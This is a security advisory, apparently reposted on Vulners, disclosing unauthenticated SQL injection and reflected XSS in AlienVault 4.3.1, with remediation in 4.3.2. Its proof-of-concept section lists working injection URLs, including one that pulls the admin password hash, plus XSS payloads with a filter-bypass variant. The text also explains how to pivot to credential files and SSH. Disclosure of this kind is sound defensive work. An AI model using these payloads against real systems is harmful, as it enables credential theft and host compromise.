AlienVault 4.3.1 Unauthenticated SQL Injection
Vulnerability Type: SQL Injection
Reporter: Sasha Zivojinovic
Company: Gotham Digital Science
Affected Software: AlienVault 4.3.1
Severity: Critical
===========================================================
Summary
===========================================================
A number of SQL injection vectors were identified within AlienVault (AV) 4.3.1 components. The âGeolocation Graphâ and âRadar Access Controlâ AV components were found to accept HTTP request parameters that are concatenated without filtering or validation. These parameters are then passed as SQL queries which exposes the application to SQL Injection. This issue can be exploited by any unauthenticated users who have access to the AV web application. In addition the effective MySQL user was found to be ârootâ which allows attackers to leverage the identified issues into attacks against the AV host system.
===========================================================
Technical Details
===========================================================
The âdate_fromâ and âdate_toâ parameters passed to the âgraph_geoloc.phpâ page, the âdate_fromâ and âdate_toâ parameters passed to the âradar-iso27001-A11AccessControl-pot.phpâ page and the âuserâ parameter passed to the âgraph_geoloc2.phpâ page are vulnerable to SQL injection attacks. These parameters were found to evaluate any SQL statements passed to them via a HTTP GET request.
PHP functions âwhereYMâ and âgetSourceLocalSSIYearâ in source file â/var/www/geoloc/include/data_functions.incâ do not filter or validate user supplied input when constructing dynamic SQL queries. Attackers can inject arbitrary SQL statements that will be evaluated on the underlying MySQL server.
Due to time limitations it has not been possible to locate the causes of the other identified vectors.
Extending the attack:
An attacker can retrieve various AV credentials including the MySQL connection string by querying the âalienvault.configâ database table or by querying the â/etc/ossim/idm/config.xmlâ file through MySQL file access methods such as âLOAD_FILEâ. Almost all credentials used by AV are equivalent so retrieving the credentials for the nessus user will also reveal the credentials for the SQL server and other components. These credentials are stored in plain-text within the database. By querying the âalienvault.usersâ table the attacker can retrieve the unsalted MD5 password hashes for administrative users. These hashed credentials are equivalent to the SSH credentials for the same users. Once these credentials have been retrieved and cracked an attacker can bypass the restrictions present in the SQL injection vector and perform arbitrary system or SQL queries by connecting directly to the AV host via SSH and using the local MySQL client to connect to the MySQL server.
Cross Site Scripting (XSS):
In addition the presence of MySQL errors presents an opportunity for reflected XSS attacks as the MySQL server does not filter responses when returning errors to the application user.
===========================================================
Proof-of-Concept Exploit
===========================================================
https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01â%20union%20all%20select(SLEEP(10)),2â%20-&date_to=2013-07-30
The integer value passed as a parameter to the âSLEEPâ function can be increased or decreased to validate this finding.
Error based evaluation can be used to return the MySQL version as per the following examples:
https://127.0.0.1/geoloc/graph_geoloc2.php?year=2007&user=dsddsâ%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a);â%20-
https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01â%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2â%20-&date_to=2013-07-30
https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01&date_to=2013-07-30â%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2â%20-
https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2&date_to=2â%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2â%20-
https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2â%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select+@@version),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2â%20-&date_to=2
https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2â%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((concat(0x3c7363726970743e616c6572742822,âdatabase%20version:â,@@version,0x22293c2f7363726970743e)),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2â%20-&date_to=2
Response:
Duplicate entry â5.5.29-29.41â for key âgroup_keyâ
Pulling âadminâ user password hashes:
https://127.0.0.1/RadarReport/radar-iso27001-A11AccessControl-pot.php?date_from=2â%20union%20all%20select+(1)and(select+1+from(select+count(*),concat((select pass from alienvault.users where login=âadminâ),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a),2â%20-&date_to=2
Cross Site Scripting:
The following examples demonstrate the use of unfiltered MySQL errors as an XSS vector:
Vanilla XSS
https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01â%20union%20select%200â<script>alert(âGDSâ)</script>,2%20â%20-&date_to=2013-07-30
ASCII Encoded XSS Variant (useful in bypassing application layer filters)
https://127.0.0.1/geoloc/graph_geoloc.php?date_from=2013-07-01â%20union%20select%200x27223e3c7363726970743e616c6572742831293c2f7363726970743e,2%20â%20-&date_to=2013-07-30
===========================================================
Recommendation
===========================================================
AlienVault deployments should be upgraded to the latest stable version. The issues documented in this disclosure have been remediated in AlienVault 4.3.2.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation